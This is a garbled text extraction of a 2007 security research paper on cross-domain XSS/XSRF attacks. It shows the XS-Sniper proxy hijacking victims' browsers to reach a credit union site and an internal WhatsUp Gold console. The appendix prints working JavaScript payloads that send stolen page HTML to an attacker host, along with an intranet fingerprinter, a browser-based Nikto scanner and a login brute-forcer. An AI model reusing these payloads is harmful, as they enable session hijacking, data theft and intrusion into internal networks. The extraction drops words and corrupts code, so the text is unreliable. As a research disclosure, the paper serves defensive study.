stymie even most experienced application hacker. In some cases, easier have a browser render HTML client side code order understand exactly what's going The Sniper Scope simply gives attacker the ability render and view captured HTML and client side code. JavaScript payloads capture the HTML currently being viewed XSS'd victim can found various places (attack API, Jeremiah Grossman's Blackhat briefing) and the JavaScript payload used XS­Sniper provided Appendix (Sniper Scope, Firefox Sniper Scope, and Sniper Scope). Dynamic JavaScript Payloads external.js Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door The JavaScript used XS­Sniper ferry HTML from victim's browser back Sniper works with both Internet Explorer (via POST requests) FireFox (via GET requests). XS­Sniper was built with C#, which allows to make use browser objects. Once the HTML stolen from the victim's browser passed back XS­ Sniper, we render captured HTML browser objected contained within Sniper. screenshots below show Sniper Scope in action. The first screenshot shows webpage the XSS'd victim would in their browser. The second screenshot shows the HTML client side code stolen from the XSS'd victims' browser being rendered Sniper Scope.


<span style="font-size:78%;">Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door The Sniper Scope allows the attacker quickly identify and target sensitive information that being displayed the screen, taking advantage the limited time during attack. Additionally, because HTML rendered by a browser object, attacker is view HTML source any time, which can used identify POST parameters and hidden fields needed. The second piece functionality provided XSS­Proxy, the ability handle and organize information stolen from victim into easily understood chunks. Some XSS proxies simply incoming requests force attacker to through logs searching key pieces data. example of these logs presented below. XS­Sniper helps attacker organize and presents captured data in easy to manner, increasing likelihood of a successful time attack. For example, attacker desires, captured HTML can immediately ferried the Sniper Scope and rendered attacker, while captured keystrokes are sent different tab, results from attacker initiated JavaScript Nikto scan are sent yet another tab. screenshots below show some used Sniper to organize information. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door This functionality simply accomplished organizing data according parameter names passed from victim XS­Sniper. example, attacker can specify that the parameter ``content'' contain HTML data stolen from the victim. XS­Sniper then waits for a request with the parameter name ``content'' and ferries value of ``content'' parameter the appropriate functionality this case, Sniper Scope). The screenshots below show attacker specifying the parameter HTML content and the parameter logged keystrokes. Organization data stolen from victim key element successful real time attack. examples above show how XS­Sniper organizes data, the attacker should organize data ways that most beneficial to individual attacker. Although concepts this data organization functionality extremely simple, source code snippets showing XS­Sniper handles various parameters are given Appendix Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter The Attack Overview This chapter walk reader through two different examples of cross domain attacks. These examples range from relatively simple, mildly complex. examples given below were performed in a controlled environment; however the principles outlined here can used against real world systems, please utilize with discretion. The Initial XSS There several attack strategies surrounding how someone into a XSS'd web application. the purposes demonstration, we target fictitious social networking/blogging web application. These sites can attract thousands users who spend hours perusing various bios and comments. Many social networking sites allow users upload HTML (and other) content others see. In scenario, a fictional social networking site named ``'' was created contains initial XSS (based BlogX). The reason targeting a popular web application (such social networking sites popular blogs) simple, the popularity these sites create ``target rich'' environment with thousands potential victims. Although significant amount of information stolen from users the MyPercent20 web application XSS (and we make of ``friends''), information pertaining to MyPercent20 what are after, merely MyPercent20 springboard other, more interesting domains. case, final targets include: fictitious Credit Union created this demonstration) and HTML management console internal network resource (WhatsUP Gold 2006). Reconnaissance the Final Targets Reconnaissance target vary from target target. The techniques described paper rely upon flaws the final target, making reconnaissance final target essential making cross domain jump. For the purposes this demonstration, will outline some techniques conduct reconnaissance the final targets ( and WhatsUP Gold 2006). Our reconnaissance efforts focused identifying XSS exposures the final target. These XSS exposures help attacker make cross domain jump. Reconnaissance Internet facing application generally the simplest. There are several ways initiate reconnaissance of final target. an Internet facing application, attackers can search XSS vulnerabilities by crawling final target and manually searching XSS the target. XSS clearing houses popular XSS related security boards a great place find XSS vulnerabilities for internet facing applications well (,44,page=1, Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Internal Network Resource -- HTML management consoles have gained a significant foothold in today's network devices. Most of these management consoles hosted custom (embedded) web servers little/no thought given attacks such XSS XSRF. Although techniques related attacking these devices been demonstrated accomplished security researchers (most notably Jeremiah Grossman Black Hat USA 2006), most examples given not provide ``interactive'' session with affected network device. The next example will present techniques establish control channel to affected internal network resource, which allows attacker view sensitive information and make changes they see Some more effective methods conducting reconnaissance internal network devices include purchasing evaluating demo version the network resource and perusal popular vulnerability/full disclosure mailing lists boards. Attacking Once have identified XSS injection point final target, it's time jump the external domain. this case, will initial XSS exploit on MyPercent20 create XSRF request our final target, which execute an XSS the final target. The final XSS create control channel (using the victim's browser) between attacker final target. Keep mind XSS exposure anywhere the final target. The example presented below work with both and Firefox browsers. The initial XSS nearly invisible. The attacker takes advantage ``leave a comment'' features popular blogging plant the invisible attack. An examination of HTML source rendered the browser gives a clue how the attack was executed. screenshot below shows embedded XSS attack. The victim merely sees some suspicious comment left visitor Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door This XSS attack points back XSS proxy have in place, allowing inject dynamic JavaScript payloads initial attack forces victim's browser request JavaScript named spotter.js from the XSS proxy. Spotter.js creates several iframes, user see, three other invisible. These four frames can communicate with each other because they within ``same origin policy'' establish control channel remote attacker. attacker implants initial frames and injects JavaScript payload that forces victim's web browser repeatedly request new payloads from XSS proxy using the setInterval JavaScript function. The spotter.js JavaScript used the proxy is provided in Appendix (spotter.js).

<span style="font-size:78%;">The injected XSS string myFrame2 (invisible) Control Channel myFrame3 (invisible) Cross Domain Contents crossDomainPostFrame (temp / invisible) POSTs Domain Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Making jump external site relativity simple; simply use XSRF target. XSRF typically used pass parameter values external application execute some specific application functionality (change password, transfer money...etc), this case we the XSRF pass application parameters initiate XSS attack against external application. in essence, are using XSS exposure send XSRF, which takes advantage XSS exposure Despite fact that we've used the victim's browser request XSS, and response captured iframe victim's web browser, this frame cannot communicate with the other frames to same origin policy. bypass this restriction we ignore frame to frame communication obstacles and inject JavaScript force the BigCreditUnion application loaded the hidden iframe establish new communication channel with XSS proxy hosted the attacker. We have TWO SEPARATE control channels the victim's browser proxy (one with and one with having separate control channels, attacker able to create HTTP requests receive the HTTP responses to from both using the victim's browser. The separate control channels also give attacker access DOM established the victim's browser,, and this example, we establish the second control channel sending XSRF iframe (myFrame3). This will load contents external domain case into invisible iframe. The following JavaScript loads XSS'd application into myFrame3: parent.myFrame3.location.href='">'; parent.myFrame3.location.href='http://ww "><script%20src=http: attacker="">'; Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Take notice we've pointed injected script to XSS proxy run the attacker however, specify separate JavaScript for external domain (external­spot.js opposed spotter.js). Initially, external­spot.js spotter.js return same JavaScript payloads, having a separate JavaScript external attacks allows issue completely separate JavaScript payloads myPercent20 External­spot.js is provided Appendix (external­spot.js). In XS­Sniper, control spotter.js responses ``Active Payload'' textbox and the external­spot.js controlled ``External Active Payload'' text box. Now have established control channel with BigCreditUnion, attacker must drive interaction, the victim cannot see interact with invisible frame containing drive interaction through of XMLHTTPRequest (XHR) object. By using XHR object, can drive interaction with BigCreditUnion loaded the invisible iframe. The XHR JavaScript used this example provided Appendix (XML HTTP Request). Although iframe invisible the victim, attacker is able ferry the HTML source from the invisible frame back XS­Sniper. When XS­Sniper receives HTML source, it renders the HTML browser object, allowing ``spy'' contents invisible iframe. The JavaScript used ferry HTML back XS­Sniper included Appendix (XHR Sniper Scope XHR Firefox Sniper Scope, and XHR Sniper Scope). We select pages we want ``spy'' requesting page with the XHR function provided the Appendix (XHR Sniper Scope). Our example shows attacker piggy­backing established session browsing victim's account information. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door The example above assumes the victim has active session established with however, even if user doesn't have an established session with, we free execute several attacks against web application. Using the XHR request, we ``Nikto'' type scan against JavaScript Nikto scan is provided in Appendix (Nikto Scanner). sake of clarity, only payloads from the Nikto scan included, reader free add many as they wish. The screenshots below show Nikto scan being against Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Running Nikto scan against web server using victim's browser can give attacker good baseline future attacks, because the attacker is ferrying HTML from back the proxy, the attacker is able analyze HTML source other vulnerabilities. Once attacker identified a Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door potential vulnerability, attacker can manually test vulnerabilities submitting GET and POST requests using XHR. The screenshots below show the attacker manually exploiting SQL injection vulnerability through the XHR object.

<span style="font-size:78%;"><script%20src=http: attacker="">the attacker tests various exploits against, the attacker is able see the responses from application, allowing attacker focus attacks even further extract valuable data needed. added bonus, when administrators comb their logs evidence, their logs victim! Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Response from SQL Injection Showing Interesting Table in the Database Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Attacking an Internal Network Resource Attacking internal network resources adds complexity and typically changes attack landscape. Attacks against internal network resources typically targeted towards large corporations with large numbers of network devices and enterprise software (although home users risk too). The next example will present scenario an attacker using employee's web browser attack the internal network resources large corporation. specific example uses Firefox browser (2.0), but similar techniques can used with this example, we target popular network management software suite with known XSS vulnerabilities (WhatsUp Gold 2006 Ipswitch). Although example specific WhatsUp Gold, same principles be applied ANY WEB APPLICATION with XSS vulnerabilities! selected WhatsUp Gold because it used extensively corporations their internal networks is rarely seen Internet facing machines. This allows further drive home we now attacking a company's INTERNAL assets. Also, network monitoring tools are especially valuable attackers, because they used to quickly footprint entire organizations internal network layout, giving the attacker additional targets their exact locations. Once again, these principles applied to ANY web application with XSS vulnerabilities and this example could have easily shown attacks against popular database HTTP management consoles, internal team sharing portals, firewall/router HTTP management consoles, other web application software with XSS vulnerabilities running a corporation's internal network. This attack begins with reconnaissance internal network resource wish attack. Although enumerating identifying vulnerabilities associated internal network resources represents one the more tedious portions attack, attackers aided fact that most of network devices and enterprise software used major corporations, also publicly available (via demos or other means). Vulnerabilities for enterprise level software can also found scattered amongst thousands security forums, bulletins, and blogs, helping attacker build their arsenal attacks. situation is exacerbated by relaxed attitude towards keeping internal resources date, popularity HTTP applications company intranets, and prevalence of stripped down embedded web servers running network devices (``but hey, we don't need worry about that kind of stuff...we've got great firewall!''). Through research various security forums, bulletins, and blogs, combined with access software demos trials, attacker could build a database known XSS vulnerabilities related to internal application software and network devices. The screenshot below shows attacker researching XSS vulnerabilities related WhatsUP Gold 2006 from various public sources. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Although several XSS vulnerabilities exist WhatsUP Gold 2006 application servers, will use following XSS vulnerability for example. http://WhatsUPGoldServer/NmConsole/ToolResults.asp?bIsIE=true&nToolType=0&sHo stname=<script%20src=http: com="" test="">&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping Once attacker has built of known XSS vulnerabilities their targeted internal web application, attacker begins attack planting the initial XSS attack popular, target web application, like Once the attacker found a suitable victim, the attacker begin enumerating HTTP servers the victim's internal network using well known techniques ``port­scan'' HTTP servers victim's internal network (Spidynamics has a great JavaScript port­scanner). We further enumerate our targets searching known images which helps narrow attacks needed. some cases, we identify the specific version web application running querying these known images. The screenshot below shows attacker using JavaScript port scanner image requests discover where WhatsUP Gold 2006 server located victim's internal network. The JavaScript used identify WhatsUP Gold 2006 servers the victim's intranet provided Appendix (WhatsUP Gold 2006 Scanner). Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door For sake clarity, we confine XSS payloads single known XSS vulnerability associated with WhatsUP Gold 2006. We will also confine fingerprinting efforts WhatsUP Gold 2006 HTTP servers over small subset addresses. In a real world scenario, attacker would attempt fingerprint several different application servers. The attacker would also have XSS vulnerabilities several versions targeted software. The attacker would use information gathered from the ``portscan'' and fingerprinting, match XSS vulnerabilities discovered hosts. Once attacker has identified the WhatsUP Gold server, the attacker would attempt establish interactive session through the victim's browser and the network resource (much like BigCreditUnion example). The attacker piggybacks any established trusts between internal network resource and victim's browser. victim happens logged into the WhatsUP Gold network management console, can masquerade the victim and attack is straight forward. this example (as probably world), victim will logged into the WhatsUP Gold management console. fact, more likely that victim: Has never heard WhatsUP Gold Fills some in organization NEVER have established session with the WhatsUP Gold server. software are targeting has XSS vulnerability in a non­authenticated portion the site, free jump this XSS point conduct attacks similar those described the BigCreditUnion example (including brute forcing login credentials). sake example (and add some realism the attack), assume XSS vulnerabilities exist in non­authenticated portions WhatsUP Gold 2006 software. With no XSS vulnerabilities the non­authenticated portions the WhatsUP Gold web application, active sessions between the victim WhatsUP Gold server, the attacker must use other techniques force authenticated session Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door between victim's browser and WhatsUP Gold web application. One such technique brute force possible username and passwords. The attacker creates username and passwords which sent the login page WhatsUP Gold web application. sake clarity, limit our username password three different usernames and three different passwords. real world scenario, attacker would have larger username password list. The list will use presented below. Once attacker has built suitable username and passwords, the attacker examine username and passwords are passed web application. Although attacker step through the WhatsUP Gold authentication process several ways, the simplest way scenario download trial version software and capture the appropriate POST parameters. this instance, capture following POST parameters during login process. POST /NmConsole/Login.asp HTTP/1.1 Host: WhatsUPGoldServer (POST PARAMETERS) blsJavaScriptDisabled=false&sLoginUserName=USERNAME &sLoginPassword=PASSWORD&btnLogin=Log+In&blsIE=true Although most HTTP servers allow POST parameters passed GET query string parameters, HTTP server associated WhatsUP Gold 2006 does not. This makes the example below little more complicated, but more realistic. Using invisible iframes (myFrame3), attacker will POST Login.asp page with set credentials from our username/password list (XSRF). We this writing the form elements to invisible iframe and using JavaScript automatically submit form. attacker follows POST credentials to Login.asp page with ``authenticated only'' XSS request (another XSRF, with a twist). If username and password combination have attempted is invalid, the XSS request simply fail, redirecting invisible iframe back Login.asp page. The attacker then moves username and passwords the pre­built If username and password combination attacker attempts is VALID, then the WhatsUP Gold 2006 server issue the victim's browser session cookie. The attacker then piggybacks this newly established session a request the ``authenticated only'' XSS, XSRF. The attacker uses XSS establish control channel with WhatsUP Gold server through victim's browser. Once attacker has a control channel WhatsUP Gold management console, free view sensitive network Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door information and make changes they desire. The screenshots below show the attacker brute forcing login credentials and driving interaction victim's browser WhatsUP Gold server via established XSS control channel the XHR object. The first screenshot shows the attacker calling getGold() JavaScript function. The getGold JavaScript automates credential brute­forcing. getGold JavaScript function loads username and password combinations from usernameList passwordList JavaScript arrays (shown an earlier screenshot) into loop and POSTs various username password combinations to WhatsUP Gold 2006 server. follows each POSTs credentials with ``authenticated only'' XSS. The JavaScript getGold provided in Appendix (WhatsUP Gold 2006 Brute Forcer). Once correct credentials have been brute forced by getGold function, the follow ``authenticated only'' XSS establishes control channel between the WhatsUP Gold 2006 server and the attacker the victim's browser. The screenshot below shows that execution the injected JavaScript was successful. The alternating requests execute.js and external.js show we have two control channels victim's browser, one control channel MyPercent20 and one control channel to WhatsUP Gold 2006 (much like BigCreditUnion example). Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Once attacker has established control channel with the WhatsUP Gold 2006 server, attacker can drive interaction with the WhatsUP Gold server the XHR function (much like BigCreditUnion example). The screenshot below shows attacker driving invisible iframe Configure.asp page WhatsUP Gold 2006 server. Once attacker drives the invisible frame to Configure.asp page, attacker view rendered HTML from Configure.asp page. The screenshot below shows attacker using Sniper Scope view the captured HTML from the Configure.asp page. From here, attacker chooses next step the attack, this case, ``Manage Users''


<span style="font-size:78%;"><script%20src=http: attacker=""><script%20src=http: com="" test="">Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Once again, attacker drives the invisible frame to ``Manage Users'' page through use the XHR function. Once the ``Manage Users'' page requested XHR, attacker views rendered HTML Sniper Scope. These two steps shown screenshots below. Once attacker identifies specific user account view, the attacker simply crafts another XHR request the appropriate page. example, attacker drives invisible iframe ``EditUser.asp'' page and passes appropriate parameters view the details the ``Admin'' account. Once request has been made, attacker view rendered HTML Sniper Scope. Additionally, because the Sniper Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Scope browser object, attacker can view details contained the HTML source the page. The screenshots below show the attacker initiating steps necessary drive the invisible frame capturing ``Internal Password'' admin user, which plaintext the HTML source. Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter Conclusion Using techniques described above, were able attack external application XSS XSRF. We were also gain access an internal network resource using victim's browser sort proxy. We were able gain access internal network device despite fact that victim never had established session internal network device. Although examples presented above were limited and WhatsUP Gold 2006, underlying principles can used attack any web server vulnerable XSS XSRF. Web browsers have become essential any computer user, both home at work. users become more and more comfortable with using browsers, attacks described above become more more commonplace. client side technologies advance (JavaScript, VBScript, Flash, Applets, PDFs, Embedded movies...etc), will attacks that utilize these client side technologies. more and more content delivered and from browsers, these attacks become more and more difficult detect. The examples presented above, along with previous examples (Hacking Intranet Websites from Outside, JavaScript Port­Scanning...etc), point dangerous trend; bypassing of firewall protections and the attacking the vulnerable ``guts'' of organization. Our appreciation firewalls morphed into a dependency and deep reliance firewalls ``protect'' invaluable data stored un­patched un­maintained systems. The armor provided firewalls is strong, and time tested, does however have one ``chink'', chink HTTP. necessity web based traffic has forced allow exceptions firewall rule sets. Initially, this exception basically meant that only HTML could traverse the chasm between an organization's internal network and Internet. Today, this exception means HTML, Images, JavaScript, VBScript, LiveScript, Flash, Java Applets, PDFs, Mpegs, a plethora other technologies traverse chasm known firewall. These technologies being abused attackers gain ``staging point'' your internal network attacks against your internal network resources. These attacks maturing sophistication these attacks advancing alarming speeds. So what can done, input validation? same origin policy? one time tokens? Web application developers application security experts are struggling answers. While application developers and application security experts struggle find solutions the growing number client side attacks, network administrators must and wait for ``application guys'' their problems, must take action protect their internal assets, your internal assets have now become our newest targets. ­BK­ Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door References Reflections Trusting Trust Ken Thompson Communication the ACM, August 1984, 761­763 Unknown Force Document. -- 4. Unknown Force Document. -- N/A RSnake -- Jeremiah Grossman -- Hacking Intranet Websites from the Outside "JavaScript malware just got a more dangerous" Jeremiah Grossman & Niedzialkowski, Whitehat Security­usa­06/BH­US­06­Grossman.pdf XSS­Proxy, Advanced XSS Attacks -- Anton Rager, Avaya -- http://xss­ Analysis Web Application Worms and Viruses Billy Hoffman, SPIDynamics ­­usa­06/BH­US­06­Hoffman_web.pdf The Cross­Site Request Forgery (CSRF/XSRF) FAQ Robert Auger, CGI Security --­faq.shtml Cross­Site Scripting -- SPIDynamics --­sitescripting.pdf JavaScript Port­Scanning Various Sources --­ port­scan/,­port­scanner/,­port­scanners/ Degrees XSSploitation -- Dan Moniz & Moore -- Blackhat Briefings USA 2006 "The Cross Site Scripting FAQ" CGI Security ­­faq.shtml Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Appendix JavaScript Payloads Spotter.js parent.document.write(''); randomnumber=Math.floor(Math.random()*1000001); function spotter(){ bigframe=parent.document.documentElement.innerHTML; iframeHTML='<iframe name="myFrame" iframe="" id="myFrame" frameborder="0" height="100%" scrolling="auto" width="100%"></iframe>'; iframeHTML+='<iframe name="myFrame2" iframe="" id="myFrame2" frameborder="0" height="0%" scrolling="auto" width="0%"></iframe>'; iframeHTML+='<iframe name="myFrame3" iframe="" id="myFrame3" frameborder="0" height="0%" scrolling="auto" width="0%"></iframe><script src="http://%IPPLACEHOLDER%/test/execute.js?trigger=%22+randomnumber+%22">"; controlFrameHTML "</script>';

<span style="font-size:78%;"><script%20src=http: attacker=""><script%20src=http: com="" test=""> document.body.innerHTML=iframeHTML; setInterval('controlFrameFunction()',5000); victimFrame = document.getElementById('myFrame'); newVictimContents bigframe.replace("spotter.js","noresponse.js"); newVictimFrame victimFrame.contentWindow.document;; newVictimFrame.write(newVictimContents); newVictimFrame.close();"visible"; } function controlFrameFunction() { controlFrameHTML ""; controlFrameHTML ""; controlFrameHTML ""; controlFrame = document.getElementById('myFrame2'); controlContents controlFrameHTML; newControlContents = controlFrame.contentWindow.document;; Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door newControlContents.write(controlContents); newControlContents.close(); } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door External­spot.js document.write(''); randomnumber=Math.floor(Math.random()*1000001); function spotter(){ bigframe=document.documentElement.innerHTML; iframeHTML='<iframe name="myFrame" iframe="" id="myFrame" frameborder="0" height="50%" scrolling="auto" width="50%"></iframe>'; iframeHTML+='<iframe name="myFrame2" iframe="" id="myFrame2" frameborder="0" height="0%" scrolling="auto" width="0%"></iframe>'; iframeHTML+='<iframe name="myFrame3" iframe="" id="myFrame3" frameborder="0" height="50%" scrolling="auto" width="50%"></iframe><script src="http://%IPPLACEHOLDER%/test/external.js?trigger=%22+randomnumber+%22">"; controlFrameHTML "</script>'; document.body.innerHTML=iframeHTML; setInterval('controlFrameFunction()',5000); victimFrame = document.getElementById('myFrame'); newVictimContents bigframe.replace("external­spot.js","noresponse.js"); newVictimFrame victimFrame.contentWindow.document;; newVictimFrame.write(newVictimContents); newVictimFrame.close(); } function controlFrameFunction() { controlFrameHTML ""; controlFrameHTML ""; controlFrameHTML ""; controlFrame = document.getElementById('myFrame2'); controlContents controlFrameHTML; newControlContents = controlFrame.contentWindow.document;; newControlContents.write(controlContents); newControlContents.close(); } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Sniper Scope function sniperscope(){ browser=navigator.appName b_version=navigator.appVersion version=parseFloat(b_version) if (browser=="Microsoft Internet Explorer") { IEsniperscope(); } else { firefoxsniperscope(); } } Firefox Sniper Scope function firefoxsniperscope(){ encodedcontent escape(parent.myFrame.document.documentElement.innerHTML); sniperscopeimage new Image(); sniperscopeimage.src = "http://%IPPLACEHOLDER%/parameter.gif?content="+encodedcontent; } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Sniper Scope function IEsniperscope(){ frame3html ='<iframe name="crossDomainPostFrame" iframe="" id="crossDomainPostFrame" frame3html="" frameborder="1" height="50%" scrolling="auto" width="50%"></iframe><script>var = escape(parent.myFrame.document.documentElement.innerHTML);'; frame3html postFrame document.getElementById("crossDomainPostFrame");'; frame3html newPostContents postFrame.contentWindow.document;'; frame3html crossDomainPostContents '; frame3html 'crossDomainPostContents "<form name="myform" method="POST" action="http://%IPPLACEHOLDER%/test/4321">";'; frame3html 'crossDomainPostContents input type=hidden name=content value="+test;'; frame3html 'crossDomainPostContents +="></form>";'; frame3html 'crossDomainPostContents "<script>";'; frame3html 'crossDomainPostContents +="document.forms[\'myform\'].submit();";'; frame3html 'crossDomainPostContents +="</scr";'; frame3html 'crossDomainPostContents "ipt>";'; frame3html 'crossDomainPostContents +="test</body</html>";'; frame3html ';'; frame3html 'newPostContents.write(crossDomainPostContents);'; frame3html 'newPostContents.close();'; frame3html '</script>'; frame3html '';; parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door XML HTTP Request (XHR) function XHR(url) { xmlhttp=null if (window.XMLHttpRequest) xmlhttp=new XMLHttpRequest(); // code else if (window.ActiveXObject) xmlHttp = new ActiveXObject('MSXML2.XMLHTTP.3.0'); if (xmlhttp!=null) xmlhttp.onreadystatechange=state_Change;"GET",url,true); xmlhttp.send(null); else }function state_Change() { // if xmlhttp shows "loaded" if (xmlhttp.readyState==4); XHRsniperscope(xmlhttp.responseText); } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door XHR Sniper Scope function XHRsniperscope(contents){ browser=navigator.appName; b_version=navigator.appVersion; version=parseFloat(b_version); if (browser=="Microsoft Internet Explorer") { XHRIEsniperscope(contents); } else { XHRfirefoxsniperscope(contents); } } XHR Firefox Sniper Scope function XHRfirefoxsniperscope(contents1){ encodedcontent escape(contents1); sniperscopeimage new Image(); sniperscopeimage.src "http://%IPPLACEHOLDER%/parameter.gif?XHRcontent="+encodedcontent; } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door XHR Sniper Scope function XHRIEsniperscope(contents2){ HTMLcontents = escape(contents2); frame3html ='<iframe name="crossDomainPostFrame" iframe="" id="crossDomainPostFrame" frame3html="" frameborder="1" height="50%" scrolling="auto" width="50%"></iframe>; parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door WhatsUP Gold 2006 Scanner myimages = Array(); imageLocations Array(); arraycounter = 0; payloadtoattacker = Image(); (i=140; i<=150; i++) { imageLocations[arraycounter] "http://192.168.58."+i+"/NmConsole/images/ logo_WhatsUpProfessional.gif"; arraycounter++; } function preloading(){ (x=0; x imageLocations.length; x++){ myimages[x] new Image(); myimages[x].src = imageLocations[x]; } } function fingerprint(){ for(numofimages numofimages < myimages.length; numofimages++){ (myimages[numofimages].width==0) { } else { payloadtoattacker.src=" 6@"+myimages[numofimages].src} } } preloading(); setTimeout('fingerprint()',1000); Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door WhatsUP Gold 2006 Brute Forcer function getGold(){ BF('','

<span style="font-size:78%;"><script%20src=http: attacker=""><script%20src=http: com="" test=""> asp?bIsIE=true&nToolType=0&sHostname=%3cscript%20src=%22 spot.js%22%3e%3c/script%3e&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping','bIsJavaSc riptDisabled=false&btnLogIn=Log+In&bIsIE=true'); } function BF(login,xss,otherparameters){ usernameList new Array("administrator","whatsup","admin"); passwordList = Array("password","admin","administrator"); additionalparams = otherparameters; myTimeout 100; usernameListLength = usernameList.length; ( i=0, len=usernameListLength; i<len; username="usernameList[i];" passwordlistlength="passwordList.length;" len2="passwordListLength;" i2="0,"><len2; i2="" password="passwordList[i2];" sloginusername="" sloginpassword="" p="" mytimeout="myTimeout" march="" 2007="" kicking="" down="" the="" cross="" domain="" door="" function="" otherparameters_array="otherparams.split("&");" otherparameterslength="" otherparameters_array2="" new="" frame3html=""></len2;></len;></script%20src=http:></script%20src=http:></span><script 20src="­spot.js?"></script><form name="credsform" id="credsform" method="post" action="+loginURL+" frame3html=""><input name="'+usernameparam+'" value="'+usernamevalue+'" type="hidden"><span style="font-size:78%;">'; frame3html ''; (var op=0, oplen=otherparametersLength; op<otherparameterslength; otherparameters_array2="otherparameters_array[op].split("=");" frame3html=""><input name="+otherparameters_array2[0]+" value="+otherparameters_array2[1]+" type="hidden">'; } frame3html '</otherparameterslength;>'; frame3html ''; frame3html 'document.forms[\'credsform\'].submit();'; frame3html '</span><input name="'+passwordparam+'" value="'+passwordvalue+'" type="hidden"><script></script></form><span style="font-size:78%;">'; frame3html '';; parent.myFrame3.document.write(frame3html); parent.myFrame3.document.close(); } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door function FollowUPXSS(xssstring){ xss xssstring; frame3html2 = '</span><form name="credsform2" id="credsform2" method="post" action="+xssstring+"><span style="font-size:78%;">'; frame3html2 '</span></form><span style="font-size:78%;">'; frame3html2 ''; frame3html2 'document.forms[\'credsform2\'].submit();'; frame3html2 ''; frame3html2 '';; parent.myFrame3.document.write(frame3html2); parent.myFrame3.document.close(); } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Nikto Scanner function snipernikto(){ browser=navigator.appName if (browser=="Microsoft Internet Explorer") { IEsnipernikto() } else { firefoxsnipernikto(); } function firefoxsnipernikto(){ fullresponse = sniperNiktoImage new Image(); sniperNikto new Array(); newSniperNikto Array(); isVulnerable; sniperNikto[0]="apache^/^Celerra Manager^GET^Default EMC Cellera manager server running."; sniperNikto[1]="apache^/^deafult Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[2]="apache^/^default Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[3]="generic^/includes/^200^GET^This might interesting..."; (i=0;i sniperNikto.length;i++) { newSniperNikto sniperNikto[i].split('^'); xmlrequest(newSniperNikto[3],newSniperNikto[1],newSniperNikto[2],newSniperNikto[4]); } function xmlrequest(method,url,searchstring,desc) Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door { xmlhttp = XMLHttpRequest(); isVulnerable;,url, true); xmlhttp.send(null); xmlhttp.onreadystatechange = function() if (xmlhttp.readyState { fullresponse xmlhttp.status; fullresponse "\r\n"; fullresponse xmlhttp.statusText; fullresponse "\r\n"; fullresponse xmlhttp.getAllResponseHeaders(); fullresponse xmlhttp.responseText; isVulnerable fullresponse.indexOf(searchstring); if (isVulnerable { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoVulnerable='+url+" "+desc; } else { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoNotVulnerable='+url+" "+desc; } } } } } Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door function IEsnipernikto(){ fullresponse = xmlhttp = 'no Object'; sniperNiktoImage new Image(); sniperNikto new Array(); newSniperNikto Array(); isVulnerable; sniperNikto[0]="apache^/^Celerra Manager^GET^Default EMC Cellera manager server running."; sniperNikto[1]="apache^/^deafult Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[2]="apache^/^default Tomcat^GET^Appears default Apache Tomcat install."; sniperNikto[3]="generic^/includes/^200^GET^This might interesting..."; (i=0;sniperNikto.length;i++) { newSniperNikto sniperNikto[i].split('^'); isVulnerable checkURLStatus(newSniperNikto[1],newSniperNikto[3]); isVulnerable =isVulnerable.indexOf(newSniperNikto[2]); if (isVulnerable { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoVulnerable='+newSniperNikto[1]+" "+newSniperNikto[4]; } else { sniperNiktoImage.src = 'http://%IPPLACEHOLDER%/parameter.gif?niktoNotVulnerable='+newSniperNikto[4]; } } function checkURLStatus(url,requestmethod) { {xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');} catch(e1) { Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door try{xmlhttp new 